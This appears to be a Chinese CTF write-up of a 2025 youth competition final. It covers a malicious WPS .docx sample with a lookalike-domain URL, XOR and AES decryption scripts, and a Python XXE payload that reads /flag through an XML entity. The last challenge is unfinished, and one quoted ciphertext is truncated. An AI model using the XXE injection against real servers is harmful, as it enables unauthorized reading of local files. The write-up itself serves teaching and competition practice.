本次赛后题目信息来自 CTF-Archives/2025-jskn-final ↗ 仓库,本站提供部分题目文件镜像服务。您可以下载部分题目的源文件。
MISC#
签到#
欢迎参加第五届极客少年挑战赛决赛,本页面左侧包含MISC/PWN/REVERSE/WEB 四个模块的题目,总计3000分,你可以根据特长自行选择答题顺序。
- 比赛时间:8月29日09:00-13:00;比赛时长:240分钟;
- 各分类下的题目不要求按顺序完成,可自由答题。 接下来试试这道题目来完成签到:按YYYYMMDD输入今天的日期。
签到题,与初赛的签到题完全一样,按照 YYYYMMDD
格式输入决赛当天日期 即可。
ANSWER: 20250829
plaintext文档里的暗门#
据报道,WPS Office 2023 个人版 < 11.1.0.15120存在远程命令执行漏洞,网上已经有公开的信息,并且小明拿到了一个恶意样本,现在需要对这个样本分析,找到样本中的所使用的远程地址,以及地址中潜在的FLAG信息,附件为漏洞说明及样本。
下载题目附件后,得到两个文件:
- 有关此漏洞的README说明文件
- 已被写入恶意内容的Docx样本文件
根据Docx文件特性,将 .docx
文件名后缀改为 .zip
后使用解压缩工具解压压缩包,得到以下文件:
根据 README.md
中的提示,恶意代码可能会被注入在文档的 插件 中,因此我们需要分析 /word/webExtensions/webExtension1.xml
文件。
在XML文件中,我们不难注意到一个 正常域名+被加密的字符串 组成的一个URL:
<wpswe:url>http://clientweb.docer.wps.cn.itsamazingwps.cn/?codeToRun=RkxBR3tXUFNfUkNFX0FOQUxZU0lTfQ==</wpswe:url>
xml根据这个字符串的特性,不难发现这个字符串被 Base64加密 过,因此仅需解码即可。
ANSWER: FLAG{WPS_RCE_ANALYSIS}
plaintextREVERSE#
逆向的钥匙#
运行附件中的程序后,会打印出加密后的Flag,请通过逆向分析了解加密逻辑,还原出原始的Flag信息。格式为:flag{xxxxxxxxxxxx}。
使用 IDA Pro
打开题目exe附件,阅读反编译代码,可以看到一串被加密的flag:
Here is the flag: 2d2938573e42203d202b43206f74737d18452a753c282e0
plaintext那么我们仅需再找出程序的加密代码再加以分析即可:
通过分析得知,这段代码在使用密钥 KEY0E0E
对给定的明文(flag)做 XOR加密,输出的flag就是被加密后的密文。因此,我们可以写出以下解密脚本:
c = "2d2938573e42203d202b43206f74737d18452a753c282e0e4d"
k = "KEY0E0E"
k_bytes = [ord(c) for c in k]
c_bytes = bytes.fromhex(c)
result = bytearray()
for i, b in enumerate(c_bytes):
result.append(b ^ k_bytes[i % len(k_bytes)])
print(result)
python运行即可得出结果:
ANSWER: flag{reverse_188AuoEyckW}
plaintextWEB#
网页的暗号#
点击下方链接,生成目标网站页面,观察网站页面的请求,并找到藏在请求中的FLAG信息。
让我们分析一下网页源代码:
<script>
function getConfig(){
$.get("/config",function(data){
if(data.error){
return alert('错误:'+data.msg)
}
let config = decrypt(data.data,data.key,data.iv);
config = JSON.parse(config)
setTimeout(function(){
url.innerHTML=`当前线路: <a href='${config.url}'>${config.url}</a>`;
},3000)
})
}
setInterval(function(){
debugger;
})
window.onload=function(){
getConfig();
}
</script>
html不难看出这是一套经典的 AES加密 题目,在比赛现场我们可以通过抓包获取解密需要的 key/iv/data
信息,直接写脚本解密即可:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = "my32characterlongsecretpassword!"
iv_hex = "be4ff86ab0f25dc6c0c16417534dd29c"
data_hex = "5e9d2da6b8c19c92f5a87719186b2ba74dadede9db81efdab3d6285ab2047e2e27f8c932e4816f285faa5ee31768e038e4e74ceed4fc4557d9ab2dff098478ae2a3b0836222c16611d7ec67ffed19cb0"
key_bytes = key.encode('utf-8')
iv_bytes = bytes.fromhex(iv_hex)
data_bytes = bytes.fromhex(data_hex)
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
plain_bytes = cipher.decrypt(data_bytes)
plain_text = unpad(plain_bytes, AES.block_size)
print("解密结果:", plain_text.decode('utf-8'))
python运行脚本后即可得到一串明文JSON字符,提取 flag
部分即可。
flag:a72a45aad3baabbb7d10385ed3e125c7:
plaintextSVG的秘密#
小明想为自己的程序生成一个SVG图标,找到了在线的程序,他随手抓取了一个数据包,突然灵光一现,点击下方链接,生成目标网站页面,寻找网站中可能的漏洞,并读取/tmp/flag或/flag中的信息。
管他三七二十一先看前端与SVG生成有关的代码:
<script>
document.getElementById('svgForm').addEventListener('submit', function(e) {
e.preventDefault();
const width = document.getElementById('width').value;
const height = document.getElementById('height').value;
const text = document.getElementById('text').value;
const xmlData = `
<\?xml version="1.0" encoding="UTF-8"?>
<svg-request>
<width>${width}</width>
<height>${height}</height>
<text>${text}</text>
</svg-request>
`.trim();
fetch('generate_svg.php', {
method: 'POST',
headers: {
'Content-Type': 'application/xml'
},
body: xmlData
})
.then(response => response.text())
.then(svgContent => {
document.getElementById('svgPreview').innerHTML = svgContent;
})
.catch(error => {
console.error('Error:', error);
alert('生成SVG时出错');
});
});
</script>
html通过阅读代码可知,前端会发送一个POST请求到 generate_svg.php
以生成SVG文件。分析这个PHP文件可以发现这个文件使用了 libxml
,因此存在 XXE利用漏洞 ,可以直接通过 XML注入 来读取本地flag文件。
综上,我们可以写出以下脚本:
import requests
xml = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg-request [
<!ENTITY flag SYSTEM "file:///flag">
]>
<svg-request>
<width>200</width>
<height>100</height>
<text>&flag;</text>
</svg-request>
'''
headers = {'Content-Type': 'application/xml'}
resp = requests.post('https://example.com/generate_svg.php', data=xml.encode('utf-8'), headers=headers)
print(resp.text)
python运行后即可得到flag。由于比赛已经结束,暂时无法复现。
计算器的阴谋#
小明研究数学问题的时候,找到了一个在线的数学计算器程序,它很好奇这个程序的实现原理,于是测试了一番,发现好像存在安全问题,点击下方链接,生成目标网站页面,寻找网站中可能的漏洞,并读取/tmp/flag或/flag中的信息。
我没记错的话这个好像是一道使用 Node.js
环境的题目。
还没写完,待补充,困了zzz